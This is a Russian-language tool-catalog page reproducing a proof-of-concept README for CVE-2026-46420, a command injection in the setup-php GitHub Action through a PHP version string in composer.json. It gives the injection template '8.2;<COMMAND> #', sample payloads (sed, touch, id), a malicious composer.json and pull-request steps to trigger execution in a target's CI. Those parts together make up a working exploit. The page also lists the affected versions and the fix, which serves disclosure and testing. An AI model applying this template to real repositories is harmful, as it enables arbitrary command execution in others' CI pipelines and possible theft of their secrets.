Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-46420 — PoC для CVE-2026-46420, внедрение команд через управляемое репозиторием разрешение версии PHP в shivammathur/setup-php. | Kitploit
Инструменты/GitHubGitHub/jvr2022/cve-2026-46420
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и УправлениеРазработка Полезной Нагрузки
GitHubjvr2022/cve-2026-46420

CVE-2026-46420

PoC для CVE-2026-46420, внедрение команд через управляемое репозиторием разрешение версии PHP в shivammathur/setup-php.

Репозиторий
1223 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-46420 PoC

Инъекция команд в shivammathur/setup-php, когда версия PHP загружается из файлов, контролируемых репозиторием.

Затронуто:

>= 2.25.0, < 2.37.1

Исправлено:

>= 2.37.1

PoC

В целевом репозитории уже есть уязвимый workflow, который извлекает содержимое pull request и запускает [email protected].

Атакующий изменяет только composer.json.

-"php": "8.2"
+"php": [
+  "8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #"
+]

Когда setup-php считывает версию PHP из composer.json, внедрённая команда включается в сгенерированный shell-скрипт и выполняется.

Результат:

-FEATURE_FLAG=off
+FEATURE_FLAG=modified-by-poc

Воспроизведение

Создайте ветку из целевого репозитория:

git checkout -b poc-test

Замените чистый composer.json на версию PoC:

cp attacker/composer.json composer.json

Зафиксируйте изменения и отправьте:

git add composer.json
git commit -m "update composer config"
git push -u origin poc-test

Откройте pull request из ветки poc-test в ветку main.

Запуск Actions должен показать, что demo-app/.env.example был изменён на шаге setup-php.

Изменение команды

Формат полезной нагрузки:

8.2;<COMMAND> #

Текущая полезная нагрузка:

8.2;sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example #

Выполняемая команда:

sed -i 's/FEATURE_FLAG=off/FEATURE_FLAG=modified-by-poc/' demo-app/.env.example

Чтобы изменить действие PoC, замените команду между 8.2; и #.

Создать файл:

8.2;touch poc-executed #

Записать в файл:

8.2;printf 'poc executed\n' > poc-result.txt #

Вывести результат команды:

8.2;id #

Пример composer.json:

{
  "config": {
    "platform": {
      "php": [
        "8.2;touch poc-executed #"
      ]
    }
  }
}

Исправление

Обновитесь до [email protected] или новее.

Та же полезная нагрузка отклоняется на исправленной версии.

Ссылки

https://github.com/shivammathur/setup-php/security/advisories/GHSA-pqwm-q9pv-ph8r

https://github.com/shivammathur/setup-php/commit/eeef37e059fb5368a5bc8ed8ce45ff54bd39b80b

Скачать инструмент